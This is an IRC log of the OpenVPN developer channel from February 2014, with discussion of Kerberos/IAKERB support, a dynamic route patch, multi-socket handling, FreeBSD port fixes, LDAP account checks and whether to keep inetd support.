#ifdef 12:15 <@dazo> cron2: yupp ... it will be possible to compile this without these extra libs ... 12:15 <@dazo> compile this == compile openvpn, that is 12:16 <@cron2> but besides this, I'm happy that RH is finally letting you work on OpenVPN on pay time! :-) 12:16 < kcodyjr> interesting. so someone decides it's better to put the kdc behind a (possibly penetrable) proxy, than to try harder to make the kdc impenetrable. 12:18 <@dazo> kcodyjr: hey, we've not really started digging into this topic ... this is just the very raw sketches ... I discussed these possibilities with the FreeIPA lead developer on Sunday ... and we're having our first discussion meeting tomorrow 12:18 < kcodyjr> it looks interesting, and i'd like to see openvpn support kerberos, but IAKERB smacks of unnecessary hack to me. 12:18 < kcodyjr> the whole point of the kerberos protocol is to act as a trusted 3rd party authentication broker on an insecure network. why the tarnation would one put it behind a proxy? 12:18 < npmccallum> kcodyjr: part of the problem is actually on the client side 12:19 < kcodyjr> ok, that's not a surprise. 12:19 * dazo need to run ... c'ya tomorrow 12:19 < kcodyjr> i wish that wiki link had more to say about justification and consequences 12:19 < npmccallum> it is *very* frequent that even if the KDC is publicly available, the client can't access it 12:19 < kcodyjr> because some asshat network admin on the client side has blocked 88/udp 12:19 <@dazo> kcodyjr: http://tools.ietf.org/html/draft-zhu-ws-kerb-03 ... which has been included into RFC4120 12:19 <@vpnHelper> Title: draft-zhu-ws-kerb-03 - Initial and Pass Through Authentication Using Kerberos V5 and the GSS- API (IAKERB) (at tools.ietf.org) 12:19 < npmccallum> That isn't the only reason, but yes. 12:20 < npmccallum> but the same client can often access HTTPS and OpenVPN 12:20 < kcodyjr> and actually i think the smurf routers all blocked it, and SRV lookups, to silence all MS's network spew 12:20 < npmccallum> yes, that is another reason. :) 12:20 < kcodyjr> i'll spare you the xkcd link about standards. 12:21 <@cron2> heh :) 12:21 < npmccallum> Oh, we're agreed. 12:21 < kcodyjr> but thank you for that, i'll read it from top to bottom. 12:21 < npmccallum> But we have to work with what we have. 12:21 < kcodyjr> yeah. okay i can see the justification. just sucks to see the protocol degraded to account for human stupidity. 12:21 <@cron2> xkcd is the inverse of godwin's law? "he who cites xkcd wins any argument?" :)) 12:22 < kcodyjr> depends on the particular comic. the one about the spirit rover kicked up all kinds of dust in the air. 12:22 -!- dazo is now known as dazo_afk 12:24 <+krzee> anyone know if through the management interface is there a way to disable all clients from connecting except for certain ones i say? (for testing) 12:33 < kcodyjr> can't answer as asked, but i've found the clue-by-four effective in that situation 12:43 <@cron2> krzee: well, the management-interface will ask the management client "is that client welcome?" so you can answer each with "NO!". But there is no "from now on, all is disallowed" command 12:45 <+krzee> cron2, thanks, i couldnt find it but i knew if it existed youd know ;] 12:45 <@cron2> well, James knows *all* the details... I just stumble across new discoveries ever so often :) 12:54 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 12:56 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:56 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:54 -!- raidz is now known as raidz_away 16:13 -!- raidz_away is now known as raidz 18:04 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 260 seconds] 21:38 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 21:38 -!- mode/#openvpn-devel [+o andj] by ChanServ 21:48 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 265 seconds] 21:48 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 21:48 -!- mode/#openvpn-devel [+o raidz] by ChanServ 23:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 23:58 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 23:58 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 23:58 -!- mode/#openvpn-devel [+o raidz] by ChanServ 23:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Fri Feb 14 2014 00:30 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has quit [Remote host closed the connection] 00:52 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has joined #openvpn-devel 03:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:47 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:56 -!- dazo_afk is now known as dazo 04:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 253 seconds] 06:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:18 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 17:33 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 17:33 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:33 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:47 -!- dazo is now known as dazo_afk 18:58 -!- raidz is now known as raidz_away 18:59 -!- raidz_away is now known as raidz 20:01 < kcodyjr> stupid question: should i do a publically accessible push now, or should i spend a few days documenting it first. 20:46 < kcodyjr> anyway. very first alpha release, pretty much zilch documentation, but for the curious/brave, cpan install Net::OpenVPN::DDNS 20:47 < kcodyjr> will need openvpn patched per pekster's latest to have the ipv6 addresses handled as well. 23:15 < kcodyjr> Created a wiki page DynamicDNS that ought to be a good start. May I link to it on the main page under subprojects? --- Day changed Sat Feb 15 2014 05:43 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 245 seconds] 06:20 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has quit [Ping timeout: 252 seconds] 10:45 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 11:06 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has joined #openvpn-devel 22:41 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection] 23:06 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 23:06 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Sun Feb 16 2014 20:52 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 20:56 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 20:56 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 20:56 -!- dazo_afk is now known as dazo 21:00 <@vpnHelper> RSS Update - tickets: #374: problem reading smart card. <https://community.openvpn.net/openvpn/ticket/374> 21:38 < kcodyjr> politely multicast pinging any core devs with a moment to spare. i'd like a review of this before i link it to somewhere visible, or go looking for volunteers to try it. https://community.openvpn.net/openvpn/wiki/DynamicDNS 21:38 <@vpnHelper> Title: DynamicDNS – OpenVPN Community (at community.openvpn.net) 22:04 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 22:04 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:04 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Mon Feb 17 2014 01:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:52 <@cron2> kcodyjr: I'm here, but way too busy right now. Hopefully I'll have time for OpenVPN on Wednesday. Can you send it to the list? That way it won't "scroll off the screen and the mind" (like IRC does) 04:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 04:34 * plaisthos discovers new crazy OpenVPN configuration every day 04:34 <@plaisthos> topolgoy net30 04:34 <@plaisthos> push "ifconfig 10.0.0.5 10.0.0.1" 05:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:59 <@dazo> plaisthos: I think that's a normal behaviour ... when using net30 (which should be the default, IIRC) 06:00 <@dazo> oh, unless you meant it should be 10.0.0.6 10.0.0.1 .... as 10.0.0.5 isn't really available, openvpn only responds to 10.0.0.1, while the client being 10.0.0.6 06:00 <@dazo> but net30 is confusing indeed 06:18 <@plaisthos> dazo: no the two ips should be in the same /30 subnet :) 06:18 <@dazo> plaisthos: well, that's not how tun in net30 works .... it was krzee who firmly educated me about this many years ago :) 06:19 <@plaisthos> dazo: err, anyway. I fixed that now :) 07:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:51 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has quit [Ping timeout: 252 seconds] 09:48 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has joined #openvpn-devel 10:59 <@plaisthos> fun! 11:00 <@plaisthos> Pushing more than 100 routes to a client in default configruations make the client quit instead of ignoring the superflous routes 11:00 <@d12fk> ah someone's testing the dynamic route patch 11:02 <@plaisthos> d12fk: I really want to debug something different at the moment to be honest :/ 11:02 <@d12fk> mkay, at least you see why the patch makes sense =) 11:03 <@d12fk> apply it and do you tests with it in place 11:03 <@d12fk> then you perform two tasks at once 11:04 <@plaisthos> d12fk: clone_route_ipv6_option_list does not really clone the list 11:04 <@plaisthos> but doest only make a shallow copy where the old method did a deep copy 11:07 <@d12fk> thats intended, because the old list will survive as it's allocated in options.gc 11:08 <@d12fk> so the additional routes are prepended, but allocated in the c2 gc iirc 11:08 <@plaisthos> you are doing the James' madness stuff, I see 11:08 <@d12fk> *evillaughter* 11:08 <@plaisthos> tail of the two lists can be the same but the head can be different 11:10 <@plaisthos> it is genius and if you don't know that any change that is unware of the black magic will make things explode 11:11 <@cron2> maybe we should add a comment to explain this... 11:12 <@plaisthos> and rename the function :) 11:13 <+krzee> more_magic() 11:13 <+krzee> !magic 11:13 <+krzee> !factoids whatis #openvpn magic 11:13 <@vpnHelper> "magic" is For a story about magic read http://www.catb.org/jargon/html/magic-story.html 11:15 <@plaisthos> krzee: nah 11:15 <@plaisthos> krzee: that stuff is quite obvious 11:15 <@plaisthos> the env* is stuff is more advanced ;) 11:15 <@cron2> in comparison, yes :) 11:16 <@plaisthos> I hate you git 11:16 <@plaisthos> git am on teh branch spits errors 11:16 <@plaisthos> git am on master + cherry-pick works without problems 11:17 <@cron2> well, the way *you* massacre your repos, if I were a VCS tool, I'd hate you too :-) 11:17 <+krzee> hahahah 11:19 <@plaisthos> cron2: :D 11:19 <@plaisthos> why did cherry pick work? 11:20 <@plaisthos> my patch and d12fk are touching the same functions and it still merged that 11:31 <@plaisthos> in struct route_ipv4 should be next of type route_ipv4 intead of route? 11:44 <@plaisthos> d12fk: still there? 12:57 <@dazo> OT: anyone know of a wireless router capable of truly passing through 100Mbit traffic? 12:58 <@dazo> okay, not restricted to 100Mbit ... but 100Mbit/s ... in case the Germans here would nitpick ...... 13:00 <@plaisthos> not my Fritz!Box 13:00 <@plaisthos> but as I only 16 MBit/s DSL I don't have that problem ;) 13:01 <@dazo> My wr1043nd flattens out around 30Mbit/s ... So I seriously need to rethink the networking here 13:04 <@dazo> (even when using cable not wifi) 13:07 < kcodyjr> https://community.openvpn.net/openvpn/wiki/GettingHelp#Developermailinglist 13:07 <@vpnHelper> Title: GettingHelp – OpenVPN Community (at community.openvpn.net) 13:09 < kcodyjr> The subscribe link lands me on the SF project page and i don't see anything about the mailing list. am i missing something or did it move? 13:20 <+krzee> get a gigabit one, im sure that'll pass 100mbit/s fine 13:24 <@dazo> krzee: the wr1043nd got 1Gbit/s on the eth ports 13:25 <@dazo> But I'm not sure the internal switch got the bandwidth :/ 13:25 <+krzee> ouch 13:25 <@dazo> yupp 13:26 <+krzee> thats some painfull performance, under 4MB/s on a gigabit 13:27 <@dazo> yupp 13:34 <+krzee> ill ask bushmills, he keeps up on good routers 13:34 <+krzee> (home use routers) 13:34 <@dazo> thx! 13:55 -!- dazo is now known as dazo_afk 15:26 -!- npmccallum [~nathaniel@76.177.249.65] has quit [Read error: Connection reset by peer] 15:27 -!- npmccallum [~nathaniel@CPE-76-177-249-65.natcky.res.rr.com] has joined #openvpn-devel 17:54 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 18:15 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:27 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 252 seconds] --- Day changed Tue Feb 18 2014 00:43 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 02:30 <@plaisthos> cron2: this whole ipv4 vs ipv6 stuff sounds like it is easier to just implement multiple sockets :) 02:38 <@cron2> plaisthos: only waiting for you :) *duck* 03:02 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has quit [Ping timeout: 252 seconds] 03:08 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 03:09 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 03:10 < m-a> ecrist: The PKCS11 option was broken in FreeBSD's security/openvpn port, and I've modernized my port to fix a few make DEVELOPER=yes warnings - you may want to check your port. Details by email. 05:12 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 05:19 -!- dazo_afk is now known as dazo 06:44 <@ecrist> thanks 07:20 <@plaisthos> cron2: last time I gave up because I could not find my way through the event_set stuff 07:20 <@plaisthos> I did not find the line where the listen socket for udp is added :/ 07:20 <@plaisthos> multiple tcp sockets are already working 07:21 <@plaisthos> (protoyptisch/hackish, more code cleanup needed but still...) 07:28 <@cron2> plaisthos: after some more discussion on another list, I think we can make this work for Linux 3.14+, so let's postpone the multi-socket stuff to 3.0-server or 2.6 - enough other stuff to fix first 07:28 <@cron2> speaking of 07:28 <@cron2> d12fk: are you around? 07:48 <@d12fk> cron2: here 07:55 <@ecrist> m-a: is there a reason the main port doesn't support snappy or polarssl? 07:55 <@ecrist> nm, it does support polarssl, you just do it differently than I do 07:56 <@cron2> d12fk: can you re-send the patch with the changes plaisthos suggested? then I could integrate it right away... 07:57 <@cron2> (one typo/bug, one additional comment to explain the magic) 07:58 <@d12fk> cron2: will do 08:00 <@cron2> thanks 08:02 <@plaisthos> cron2: multi socket is actually not much work, almost all functionality is already in OpenVPN 08:02 <@plaisthos> cron2: the tcp server stuff already handles multiple sockets 08:02 <@cron2> yeah, but only tcp... 08:03 <@plaisthos> but it is not written tcp specific 08:03 <@plaisthos> a multi_instance gets either a new socket (tcp) or inherits the socket from the udp main socket 09:57 <+krzee> dazo, i got replies about routers, im going to paste to privmsg 09:58 <@dazo> krzee: thx! 13:08 <@plaisthos> *sigh* 13:08 <@plaisthos> my new version actually honours the gateway of the pushed routes 13:09 <@plaisthos> and now I am seeing configs where people are pushing route-gateway with some stragne interface and everything stops workings 13:57 <@dazo> plaisthos: first rule: (l)users are stupid .... :-P 14:05 <@mattock> we'll upgrade the SSL certs on community and forums 14:06 <@mattock> just a fyi 14:22 < m-a> ecrist: no particular reasons, probably never added it 14:31 < m-a> ecrist: is there a reason to disable the checks when using PolarSSL? 14:35 < m-a> ecrist: snappy wasn't in 2.3.2 so that is why it's missing. 14:52 <@mattock> certs updated, seem ok 14:57 -!- raidz is now known as raidz_away 14:59 -!- raidz_away is now known as raidz 15:02 <@ecrist> m-a: afaik, the tests don't support polarssl 15:02 < m-a> ecrist: I am not aware of such restrictions. 15:03 < m-a> apparently PKCS#11 support requires OpenSSL for now (or special compilation options of PolarSSL that I missed) 15:03 < m-a> t_lpback.sh passes, t_client.sh has no configuration, and the third one is currently running. Will report in 2 min 15:05 < m-a> ecrist: t_cltsrv.sh also passes with PolarSSL. 15:06 < m-a> make clean 15:06 < m-a> whoops 15:08 -!- dazo is now known as dazo_afk 15:22 -!- mattock is now known as mattock_afk 15:52 <@cron2> plaisthos: how do you do that, honouring the gateway? 18:32 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Ping timeout: 245 seconds] --- Day changed Wed Feb 19 2014 00:58 -!- mattock_afk is now known as mattock 01:31 -!- mattock is now known as mattock_afk 01:41 -!- mattock_afk is now known as mattock 04:31 -!- mattock is now known as mattock_afk 05:14 -!- mattock_afk is now known as mattock 05:22 -!- dazo_afk is now known as dazo 06:38 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 06:49 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:49 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:01 <@ecrist> ping mattock 07:01 <@mattock> pong 07:02 <@ecrist> I think bots have infiltrated PWM 07:02 <@mattock> interesting 07:02 <@ecrist> two weeks ago we just broke 10k accounts 07:02 <@ecrist> I'm showing 16700 today 07:02 <@mattock> hmm, lemme check pwm reports 07:02 <@ecrist> and they have usernames like YPNPTYYXD6FXXXMKJ 07:02 <@mattock> that's normal 07:02 <@ecrist> it is? 07:02 <@mattock> pwm generates random IDs 07:03 <@mattock> so there are to cn's, one random, and one which the user chose 07:03 <@ecrist> ah, ok 07:03 <@ecrist> ah, I see that now 07:04 <@mattock> I'll go through recent pwm reports to see if it tells us about lots of new users 07:04 <@mattock> I usually skim through those, but I may have missed something 07:05 <@ecrist> is PWM restricted to X accounts? 07:05 <@ecrist> I've been getting a lot of authentication failure emails the last few weeks 07:07 <@mattock> pwm doesn't care about the number of accounts 07:07 <@mattock> but there is this switch in openldap that limits the number of search results 07:07 <@mattock> maybe that's causing it? 07:07 <@ecrist> I've fixed that already 07:07 <@mattock> ok 07:07 <@ecrist> it's set to unlimited now 07:08 <@mattock> so, last month's pwm reports tell me that on average we've had ~20 new users each day 07:08 <@mattock> nothing out of the ordinary 07:08 <@mattock> did you notice a spike in the number of the actual LDAP accounts? 07:10 <@ecrist> well, like I said, two weeks ago, we had 10,002 07:11 <@ecrist> that's when I had to kick the limit in slapd 07:11 <@ecrist> now I'm looking 16,706 07:11 <@mattock> can you pinpoint the day(s) when the sudden increase happened? 07:11 <@ecrist> no 07:12 <@mattock> I can have a look at my slapcat dumps which are versioned 07:13 <@ecrist> where do you keep those on the ldap machine? 07:14 <@cron2> mattock: did you already do the "give all trac users a mail address" thingie? 07:14 <@mattock> nope, slapcat dumps them to a temporary directory and rsnapshot grabs them to our backup server 07:14 <@mattock> I did not yet 07:15 <@mattock> and rsnapshot takes care of versioning 07:18 <@ecrist> mattock: if you're not worried, I'm not going to be at this point. I reset the user's password and I can login fine, so it's a PEBKAC issue. 07:18 <@mattock> $ du -k ldap*.ldif 07:18 <@mattock> 11260 ldap-daily0.ldif 07:18 <@mattock> 10872 ldap-weekly3.ldif 07:19 <@mattock> meaning that ~1 month old LDAP dump is only that much larger than the most recent one 07:19 <@mattock> I'll count the user accounts 07:20 <@mattock> weekly3:16060 07:20 <@mattock> daily0: 16633 07:20 <@mattock> looks normal 07:21 <@mattock> that said, the pwm instance is quite old and should be upgraded anyways 07:21 <@mattock> given it's a Java webapp (even if tightly locked down), you never know... 07:22 <@mattock> btw ecrist: what if I run the mysql_upgrade thing on forums? cron is spamming me every day about it 07:22 <@mattock> it Should Be Safe(tm) 07:24 <@ecrist> sure 07:24 <@mattock> ok, I'll do it now 07:25 <@mattock> any problems with the new web server certificates? 07:25 <@mattock> which we installed yesterday 07:26 <@ecrist> doesn't appear to be. :) 07:28 <@mattock> great! 07:28 <@mattock> these things have historically been messy, but now all seems to have gone well :P 07:29 <@mattock> these certs will last for 1 year, after which we'll get 3 years 07:31 <@mattock> hmm, I'll run mysql_upgrade some other night, possibly Thursday (running out of time to fix stuff if it breaks) 08:09 <@plaisthos> what is pwm anyways? 08:45 <@ecrist> it's short for password manager 08:45 <@ecrist> it's the front-end we use for people to generate accounts in LDAP 08:49 <@ecrist> LDAP is used on the backend for trac and forum authentication 10:08 -!- mattock is now known as mattock_afk 12:31 -!- npmccallum [~nathaniel@CPE-76-177-249-65.natcky.res.rr.com] has quit [Quit: npmccallum] 17:34 -!- dazo is now known as dazo_afk --- Day changed Thu Feb 20 2014 00:27 -!- mattock_afk is now known as mattock 03:15 -!- dazo_afk is now known as dazo 04:53 -!- mattock is now known as mattock_afk 07:59 -!- Netsplit *.net <-> *.split quits: @cron2, ender| 08:09 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:09 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 08:09 -!- ServerMode/#openvpn-devel [+o cron2] by sendak.freenode.net 08:10 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 08:16 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:16 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:20 -!- mattock_afk is now known as mattock 08:20 -!- Netsplit *.net <-> *.split quits: @cron2, ender| 08:31 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:31 -!- mode/#openvpn-devel [+o andj__] by ChanServ 08:33 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:33 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 08:33 -!- ServerMode/#openvpn-devel [+o cron2] by sendak.freenode.net 08:38 -!- Netsplit *.net <-> *.split quits: @andj 08:38 -!- andj__ is now known as andj 10:44 -!- mattock is now known as mattock_afk 11:10 -!- mattock_afk is now known as mattock 13:53 -!- dazo is now known as dazo_afk 14:30 -!- mattock is now known as mattock_afk 15:04 -!- Netsplit *.net <-> *.split quits: @cron2, ender| 15:05 -!- Netsplit *.net <-> *.split quits: +krzee, @mattock_afk, waldner, @syzzer, @vpnHelper, @raidz 15:06 -!- Netsplit over, joins: @vpnHelper, @mattock_afk, @raidz 15:06 -!- Netsplit over, joins: @syzzer 15:08 -!- Netsplit over, joins: waldner, +krzee 15:14 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:14 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:14 -!- ServerMode/#openvpn-devel [+o cron2] by sendak.freenode.net 15:40 -!- Netsplit *.net <-> *.split quits: +krzee, waldner 15:40 -!- Netsplit *.net <-> *.split quits: @syzzer 16:06 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 16:06 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:06 -!- ServerMode/#openvpn-devel [+v krzee] by sendak.freenode.net 16:33 -!- Netsplit *.net <-> *.split quits: +krzee, waldner 16:36 -!- Netsplit over, joins: +krzee, waldner 16:44 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 272 seconds] 16:46 -!- Netsplit *.net <-> *.split quits: +krzee 16:47 -!- Netsplit over, joins: +krzee 17:25 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel --- Log closed Thu Feb 20 18:47:55 2014 --- Log opened Thu Feb 20 18:49:07 2014 18:49 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 18:49 -!- Irssi: #openvpn-devel: Total of 16 nicks [10 ops, 0 halfops, 1 voices, 5 normal] 18:49 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 18:49 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 18:49 -!- mode/#openvpn-devel [+o andj__] by ChanServ 18:50 -!- Irssi: Join to #openvpn-devel was synced in 66 secs 18:55 -!- Netsplit *.net <-> *.split quits: @d12fk, @andj, @ecrist 18:55 -!- andj__ is now known as andj --- Day changed Fri Feb 21 2014 02:05 -!- mattock_afk is now known as mattock 02:38 -!- d303k [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 02:38 -!- mode/#openvpn-devel [+o d303k] by ChanServ 02:38 -!- d303k is now known as d12fk 02:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:42 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:58 -!- dazo_afk is now known as dazo 03:54 -!- mattock is now known as mattock_afk 06:56 -!- mattock_afk is now known as mattock 08:19 -!- You're now known as ecrist 10:20 -!- mattock is now known as mattock_afk 13:01 <@dazo> Do we still officially support running openvpn via {x,}inetd? ... and should we? 13:03 <@dazo> (I'm asking because that can make the GSSAPI implementation "quite interesting" ...) 13:20 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 13:20 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 13:21 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:21 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:41 <+krzee> inetd does not appear in the 2.3 manpage but does in 2.0 manpage 13:42 <+krzee> so without knowing anything it would seem as though it is not 13:42 <+krzee> oh interesting, it only appears in the usage, no explanation with it, and usage is gone in 2.3 13:43 <+krzee> web versions at least (which is what i always use for openvpn) 14:30 <@dazo> after having dug further into the server side bits needed for GSSAPI, it doesn't seem to be that complicated to implement ... it was just the example code which was more confusing on this area 14:30 <@dazo> anyhow ... if it simplifies openvpn core code ditching inetd support ... I'm in favour of it ... I don't fully see why anyone should kick off openvpn via inetd any more ... 14:34 <@dazo> (from a security perspective, inetd/xinetd makes it harder to secure a system. Because not only the service provided via inetd must be "bullet proof", but also the inetd layer ... removing inetd from the setup results in less running code which can be abused) 15:16 -!- dazo is now known as dazo_afk 15:51 <@cron2> dazo: well, currently we do (support inetd, that is). There's the slight catch that it's broken in git master :-) - so you *could* propose to openvpn-devel and openvpn-users to just rip it out instead and see if anyone complains 15:51 <@cron2> there *are* some weird-but-valid use cases, though, if you use tap and bridging and need to use a per-client tap for multicast replication... 16:19 -!- mattock is now known as mattock_afk 19:03 <+krzee> sounds like one of jjk's magic spells from the cookbook 19:06 <@pekster> These-days most things doing inetd have far better modern alternatives 19:07 <@pekster> Really it's one of those "openvpn shouldn't try to be the kitchen sink" things, IMO --- Day changed Sat Feb 22 2014 04:44 <@cron2> pekster: the use case is valid - and to do it without --inetd would require better multicast support inside openvpn 05:48 <@cron2> (also I think that if you really only need your vpn every now and then, --inetd *has* it's uses...) --- Log closed Sat Feb 22 08:30:32 2014 --- Log opened Sat Feb 22 18:15:52 2014 18:15 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 18:15 -!- Irssi: #openvpn-devel: Total of 7 nicks [4 ops, 0 halfops, 1 voices, 2 normal] 18:16 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 18:16 -!- Irssi: Join to #openvpn-devel was synced in 26 secs 19:00 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:00 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:35 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 19:35 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:35 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 19:35 -!- ServerMode/#openvpn-devel [+o cron2] by kornbluth.freenode.net 22:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Write error: Broken pipe] 22:56 -!- Netsplit *.net <-> *.split quits: ender|, @cron2, waldner 23:07 -!- Netsplit over, joins: waldner, ender|, @cron2 23:12 -!- Netsplit *.net <-> *.split quits: +krzee, @andj 23:26 -!- Netsplit over, joins: +krzee, @andj 23:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:27 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 23:49 -!- mattock [~mattock@2607:5300:60:d5a::2] has joined #openvpn-devel 23:49 -!- raidz [~raidz@2607:5300:60:d5a::2] has joined #openvpn-devel 23:49 -!- raidz [~raidz@2607:5300:60:d5a::2] has quit [Changing host] 23:49 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 23:49 -!- mode/#openvpn-devel [+o raidz] by ChanServ 23:49 -!- mattock [~mattock@2607:5300:60:d5a::2] has quit [Changing host] 23:49 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:49 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Sun Feb 23 2014 02:38 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:38 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:40 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 05:40 -!- mode/#openvpn-devel [+o andj__] by ChanServ 05:42 -!- Netsplit *.net <-> *.split quits: @vpnHelper, +krzee, @raidz, @syzzer, @mattock, @andj 05:43 -!- andj__ is now known as andj 06:03 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 06:03 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:03 -!- ServerMode/#openvpn-devel [+oo raidz mattock] by kornbluth.freenode.net 08:14 <@cron2> mmmh 08:14 * cron2 likes d12fk's patch... it actually simplifies the code quite a bit 08:15 <@cron2> (which is unusual, when going from "array" to "dynamic list" in C...) 10:56 -!- krzee 